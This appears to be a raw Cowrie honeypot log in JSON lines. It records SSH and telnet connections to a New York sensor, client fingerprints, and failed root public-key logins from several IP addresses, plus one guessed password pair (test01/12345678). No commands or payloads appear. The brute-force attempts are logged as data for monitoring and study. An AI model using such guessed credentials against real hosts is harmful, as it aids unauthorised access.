{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:fd:b2:19:a9:73:e3:d5:38:6f:f4:c4:ed:2c:ae:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJKcN5Mh1G/0JMjNOF8HappjTeNh0WAU6CEXgCey4PVb5HhSsLf2Qf8TzG9oGtsy/vpc1AGpPEqoor0NigO+QcGuVxOANEASoDcuAxnhDgRh2b3ZMFS51UnvZw+sV74QQzX2RcQVP1sAQLAHlq5gj3bk+GljnNLyYa4bV5KT4ZRaonmBsILJlkZS9iPJ+HC6nQ+flHX5tWB9AN1bwZbrkOrHbh3XqDYqNuQAODGmQdP5QtfUl6yq49IT2YXVDwZpdCTnyewhzvZbj6DVSAVkQdtwDYbg2p1XSwDvjdHxAJl03XL41Rt774nts0bud1BGeuTh/uleEl5Vk4q10hIUpF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:55:49.173799Z","src_ip":"163.223.54.21","session":"b6c42f0f456e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:0b:b2:16:e3:01:2b:ee:6a:a1:dc:71:d9:a2:dd:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVYN+NqwPaKEJN32oI44G2UMQWBzy6hA/3NfXEZKT1I4501jZTHe4VUQJkwlrBpub/3x9Jgg3VlqZlobLIJCv8DlS08O1i1XAM8H0ALLlDsenDV/4URwqNbVPH0r34uxaTTj5A6wYzmD5aPs/fpeFj8gWDiKYVKqBW0k+2OYbw392AAMd1gPi/j1I5YW31QGknkDi9m5TP9zmvMQXRC7L2msjqUxjRSqrhdjwbN8+veuVX8WB6p2FuWKMOxfA5SSA1+5d5eRnQZjFK+r37gslmntFmJySRunFhVZ/4+HgWLvc+JBAyJFT2zM+1JBrPXTypme0eNEpywy9gNbVjIBfD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:0b:b2:16:e3:01:2b:ee:6a:a1:dc:71:d9:a2:dd:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:55:49.397787Z","src_ip":"163.223.54.21","session":"b6c42f0f456e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:0b:b2:16:e3:01:2b:ee:6a:a1:dc:71:d9:a2:dd:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVYN+NqwPaKEJN32oI44G2UMQWBzy6hA/3NfXEZKT1I4501jZTHe4VUQJkwlrBpub/3x9Jgg3VlqZlobLIJCv8DlS08O1i1XAM8H0ALLlDsenDV/4URwqNbVPH0r34uxaTTj5A6wYzmD5aPs/fpeFj8gWDiKYVKqBW0k+2OYbw392AAMd1gPi/j1I5YW31QGknkDi9m5TP9zmvMQXRC7L2msjqUxjRSqrhdjwbN8+veuVX8WB6p2FuWKMOxfA5SSA1+5d5eRnQZjFK+r37gslmntFmJySRunFhVZ/4+HgWLvc+JBAyJFT2zM+1JBrPXTypme0eNEpywy9gNbVjIBfD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:55:49.401770Z","src_ip":"163.223.54.21","session":"b6c42f0f456e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:55:49.624088Z","src_ip":"163.223.54.21","session":"b6c42f0f456e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.569583892822266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:55:58.503217Z","src_ip":"98.158.129.28","session":"d34e4bab0374","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":60510,"dst_ip":"159.203.135.109","dst_port":23,"session":"5481f3f7eee1","protocol":"telnet","message":"New connection: 98.158.129.28:60510 (159.203.135.109:23) [session: 5481f3f7eee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:05.529102Z"}
{"eventid":"cowrie.session.closed","duration":31.511772394180298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:06.614861Z","src_ip":"98.158.129.28","session":"0be1f6c87959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":56346,"dst_ip":"159.203.135.109","dst_port":22,"session":"103a080261d9","protocol":"ssh","message":"New connection: 202.145.0.61:56346 (159.203.135.109:22) [session: 103a080261d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:13.803111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:14.177213Z","src_ip":"202.145.0.61","session":"103a080261d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:14.406431Z","src_ip":"202.145.0.61","session":"103a080261d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.613740921020508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:14.519352Z","src_ip":"98.158.129.28","session":"0d716fca38d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678776502609253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:15.027146Z","src_ip":"98.158.129.28","session":"2ede9ec9b61c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test01","password":"12345678","message":"login attempt [test01/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:15.478866Z","src_ip":"202.145.0.61","session":"103a080261d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:16.715605Z","src_ip":"202.145.0.61","session":"103a080261d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":35654,"dst_ip":"159.203.135.109","dst_port":23,"session":"60f33ada7619","protocol":"telnet","message":"New connection: 98.158.129.28:35654 (159.203.135.109:23) [session: 60f33ada7619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:18.988408Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46832,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb0f16b8e648","protocol":"telnet","message":"New connection: 135.148.33.91:46832 (159.203.135.109:23) [session: bb0f16b8e648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:27.740687Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":39040,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e0cc3023ae7","protocol":"telnet","message":"New connection: 98.158.129.28:39040 (159.203.135.109:23) [session: 0e0cc3023ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:33.384985Z"}
{"eventid":"cowrie.session.closed","duration":32.17560815811157,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:37.704582Z","src_ip":"98.158.129.28","session":"5481f3f7eee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":40015,"dst_ip":"159.203.135.109","dst_port":23,"session":"03f3eafe6549","protocol":"telnet","message":"New connection: 98.158.129.28:40015 (159.203.135.109:23) [session: 03f3eafe6549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:40.236734Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":41257,"dst_ip":"159.203.135.109","dst_port":23,"session":"29b35a718d9e","protocol":"telnet","message":"New connection: 98.158.129.28:41257 (159.203.135.109:23) [session: 29b35a718d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:43.510210Z"}
{"eventid":"cowrie.session.closed","duration":31.66444706916809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:50.652742Z","src_ip":"98.158.129.28","session":"60f33ada7619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":43351,"dst_ip":"159.203.135.109","dst_port":23,"session":"8731d259a0f1","protocol":"telnet","message":"New connection: 98.158.129.28:43351 (159.203.135.109:23) [session: 8731d259a0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:56:54.900577Z"}
{"eventid":"cowrie.session.closed","duration":32.33497357368469,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:00.075492Z","src_ip":"135.148.33.91","session":"bb0f16b8e648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838600635528564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:04.223460Z","src_ip":"98.158.129.28","session":"0e0cc3023ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":46251,"dst_ip":"159.203.135.109","dst_port":23,"session":"46116a5c0cad","protocol":"telnet","message":"New connection: 98.158.129.28:46251 (159.203.135.109:23) [session: 46116a5c0cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:07.090759Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":46070,"dst_ip":"159.203.135.109","dst_port":23,"session":"29b9d0f01f95","protocol":"telnet","message":"New connection: 98.158.129.28:46070 (159.203.135.109:23) [session: 29b9d0f01f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:07.209661Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":47012,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2611c4691a0","protocol":"telnet","message":"New connection: 98.158.129.28:47012 (159.203.135.109:23) [session: f2611c4691a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:10.116172Z"}
{"eventid":"cowrie.session.closed","duration":30.79346776008606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:11.030090Z","src_ip":"98.158.129.28","session":"03f3eafe6549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":46511,"dst_ip":"159.203.135.109","dst_port":23,"session":"37e2f7ce5e44","protocol":"telnet","message":"New connection: 98.158.129.28:46511 (159.203.135.109:23) [session: 37e2f7ce5e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:11.101835Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.70.122.120","src_port":39922,"dst_ip":"10.17.0.5","dst_port":22,"session":"905392bf9634","protocol":"ssh","message":"New connection: 193.70.122.120:39922 (10.17.0.5:22) [session: 905392bf9634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:13.913856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:13.918707Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:13.999258Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.852885723114014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.363011Z","src_ip":"98.158.129.28","session":"29b35a718d9e","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:86:91:37:dc:6f:f5:1d:53:11:d6:32:80:a3:8f:4d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP3fQcQfhu+7fsUIRuMeQtTaqmQK4YmImAuBxiIWiWT1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 83:86:91:37:dc:6f:f5:1d:53:11:d6:32:80:a3:8f:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.368336Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:86:91:37:dc:6f:f5:1d:53:11:d6:32:80:a3:8f:4d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP3fQcQfhu+7fsUIRuMeQtTaqmQK4YmImAuBxiIWiWT1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.370870Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:22:eb:e1:30:42:8f:f5:64:92:7c:ee:57:eb:d5:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4dfYrM7ZWvEy16Rc5jUXjE36y+dGIo2IgiU4Zn4i6OKnFoss4hXEqtWcthKmoXLQzRD0s32Qd8PamkxedtmvNkXcV98eQ4IDC9m2LX1FZJ9JoxgPG1WzQ1G/QbWNgtmmNysoi1i4Cfm19xiuBQEsmrOBTCulSPwO9ZGsUP9IiwTITPD5AoDRCLxypKeQioOaT8UB9zisFLJZTSspgFiaDwcnEiIeBkJO+88FpkuuIxUsUCAeH10F/pwZ1qvaY3LyE0JImTxNO+Pc/CtoT+ule8Wjd1ECWKGVtqpA6uJysaty4tLyp5OJTOzfUANM58b02vryz3jytWakxJ+mG9Nd9bH3PpitMgsauogAJ+0cl1+IFjWCKAZ4SJH1ahAusC1Dcdd6TGK81ZbRyUhTUiCGXMV2eSsYWz6fucH1Ovn6MEP9AbODwvo2VO2Rc5j6btlt4bTfdgldskEcbVnTrOhCbY6+aYgd1VYILq5oQiLa7kSwqczD1Iyx34/qiuBOnHIjnnkvlla5gdTLgGjNvwJrmMQeukUg3mw4wMzxuKm8te1UbUPul+Yaa40K5bEmUZC997b7F/USZ99pUpwtplR6bLKdnnxLrL455GAjkKkbv57NanT0AcGR5oEpi/1WNjzVusq7udRYY0Q9fBhpVUxSXsRe24zpj8GleBBxBALFMVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:22:eb:e1:30:42:8f:f5:64:92:7c:ee:57:eb:d5:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.448648Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:22:eb:e1:30:42:8f:f5:64:92:7c:ee:57:eb:d5:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4dfYrM7ZWvEy16Rc5jUXjE36y+dGIo2IgiU4Zn4i6OKnFoss4hXEqtWcthKmoXLQzRD0s32Qd8PamkxedtmvNkXcV98eQ4IDC9m2LX1FZJ9JoxgPG1WzQ1G/QbWNgtmmNysoi1i4Cfm19xiuBQEsmrOBTCulSPwO9ZGsUP9IiwTITPD5AoDRCLxypKeQioOaT8UB9zisFLJZTSspgFiaDwcnEiIeBkJO+88FpkuuIxUsUCAeH10F/pwZ1qvaY3LyE0JImTxNO+Pc/CtoT+ule8Wjd1ECWKGVtqpA6uJysaty4tLyp5OJTOzfUANM58b02vryz3jytWakxJ+mG9Nd9bH3PpitMgsauogAJ+0cl1+IFjWCKAZ4SJH1ahAusC1Dcdd6TGK81ZbRyUhTUiCGXMV2eSsYWz6fucH1Ovn6MEP9AbODwvo2VO2Rc5j6btlt4bTfdgldskEcbVnTrOhCbY6+aYgd1VYILq5oQiLa7kSwqczD1Iyx34/qiuBOnHIjnnkvlla5gdTLgGjNvwJrmMQeukUg3mw4wMzxuKm8te1UbUPul+Yaa40K5bEmUZC997b7F/USZ99pUpwtplR6bLKdnnxLrL455GAjkKkbv57NanT0AcGR5oEpi/1WNjzVusq7udRYY0Q9fBhpVUxSXsRe24zpj8GleBBxBALFMVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.452022Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:d6:0f:d3:0d:06:dc:f1:2a:a9:20:1c:63:2c:26:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClovBSBh3MB5qhFII12gMmVFeFGkThEQ0tqJZj38wpGFl2g+IPcTCbMZ4hgWY4de32Kw5vdPIMB+EZxi0alGAqwe2t7h2wu2G7+Hc/WxnaEdSM7R4SvrOWXno6NOxrLzQrBPkiCiWj601fNwmeGhOCQ7oJerc74Mf2vNWrZA8N6bZncfmIBDpS2hsYF37a6jAFaA8+Nze0X7CGCirjWLLU8XPKPHW3Osznobbjsunrj4itQ8d6lUDBMdC7R14AidiVBpVvo3QVSvMKAyu8XuR4bbbOyWxEdX/YC6RMZzsyAkvkB/pAfsf1a9wOXVxMQdv3eaw4fDzWBw4XBp5MnhdVravqE2AY9GVBk9jn1Omk4lYJ24KJs3d/cQ8OLAgaKmJ2DSDZrv6owrDg3cBLTXGzGWAgzToEvGkH7uEgmgiyUuJ6R7veK6JItZK7IM3wTiYO3bLRopTomMC/YI2afrgUq2XmZxzdcyi6Fqq++EJEIenrpMwcw4tljnxb3TNMa1hH4+Ph4uLYdaiEYBA/9ad9gDfQCNsnmvdGldeeFOFINZEtaUh3wQ82AVw2/bOCTABNS4ymIC4GYnwovsis1ZnRCgHbmBmPLDst+ZeYuJzNtHjDcgzcwlY1pcmIdj6Tu1Om9VcQzC5DQ2o9cND7lVVBh7ozR9UEl1H/qrkgtjHaiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:d6:0f:d3:0d:06:dc:f1:2a:a9:20:1c:63:2c:26:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.529402Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:d6:0f:d3:0d:06:dc:f1:2a:a9:20:1c:63:2c:26:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClovBSBh3MB5qhFII12gMmVFeFGkThEQ0tqJZj38wpGFl2g+IPcTCbMZ4hgWY4de32Kw5vdPIMB+EZxi0alGAqwe2t7h2wu2G7+Hc/WxnaEdSM7R4SvrOWXno6NOxrLzQrBPkiCiWj601fNwmeGhOCQ7oJerc74Mf2vNWrZA8N6bZncfmIBDpS2hsYF37a6jAFaA8+Nze0X7CGCirjWLLU8XPKPHW3Osznobbjsunrj4itQ8d6lUDBMdC7R14AidiVBpVvo3QVSvMKAyu8XuR4bbbOyWxEdX/YC6RMZzsyAkvkB/pAfsf1a9wOXVxMQdv3eaw4fDzWBw4XBp5MnhdVravqE2AY9GVBk9jn1Omk4lYJ24KJs3d/cQ8OLAgaKmJ2DSDZrv6owrDg3cBLTXGzGWAgzToEvGkH7uEgmgiyUuJ6R7veK6JItZK7IM3wTiYO3bLRopTomMC/YI2afrgUq2XmZxzdcyi6Fqq++EJEIenrpMwcw4tljnxb3TNMa1hH4+Ph4uLYdaiEYBA/9ad9gDfQCNsnmvdGldeeFOFINZEtaUh3wQ82AVw2/bOCTABNS4ymIC4GYnwovsis1ZnRCgHbmBmPLDst+ZeYuJzNtHjDcgzcwlY1pcmIdj6Tu1Om9VcQzC5DQ2o9cND7lVVBh7ozR9UEl1H/qrkgtjHaiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.533445Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:88:73:d9:ba:b5:b3:e2:78:3c:9a:8f:2e:c4:19:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvyA/p6ooryyqy4lzB6xYwTAgqnxHsUjkA0GzQpdOxP0n0KCagu7HH4ooU89FEqFJKn8Pd0WlCbmkEPw32OuVPG8UXDwSG7/3Qy3jtnTbqUMDWvrqTONacitSV+mYdKM3VWxWx80HK1PkwpeKDu/9OrHMxCj8dNkR2rpAWDGCu4ackcmrrL+V9cRtdeYoQmfjLF3J2A2ee1m5ZQd+fzGlMzSisfyjlxKdFs507sAxCujGs4Kxb50vvMAVGjqRenHX9ryoBVp6kLz4NyuY1sROpZNWr+b8iW7kpQtZi41kNT2YcoWityZs2VJnjB3KM+3RNYGzKVnR/NnMviPRDHdeDnHwkGgn9mkprHKgGsaM98gdK9u7Uyr+DtsxJ4j+XgoFAipVWXZZMSMpVra+T4Va2We7DTWW2r5b28wVyKSm/JsrkJrY22YR0IkCrhEeF56LAPc1e/IUdhDoeD9lceTF02gSOWUFkpnEZBqrnAF/t5GCDxmpGsCFXxf2mcB5C5EUmh240yaD9LBtApqew+PWV3WJvC9ymn01GMGU9zyCX8AFNaLotgGcJhHH3vNVTccLS+G4IaPQTPNbUVwHniip+wHI6z6eSSefnE1LT93cAS8jhn3avTZzMtLqksMJ51gC8CEXYSjosIp99JZCXBQRy134vxtBDUDinfurUPF8tTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:88:73:d9:ba:b5:b3:e2:78:3c:9a:8f:2e:c4:19:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.611307Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
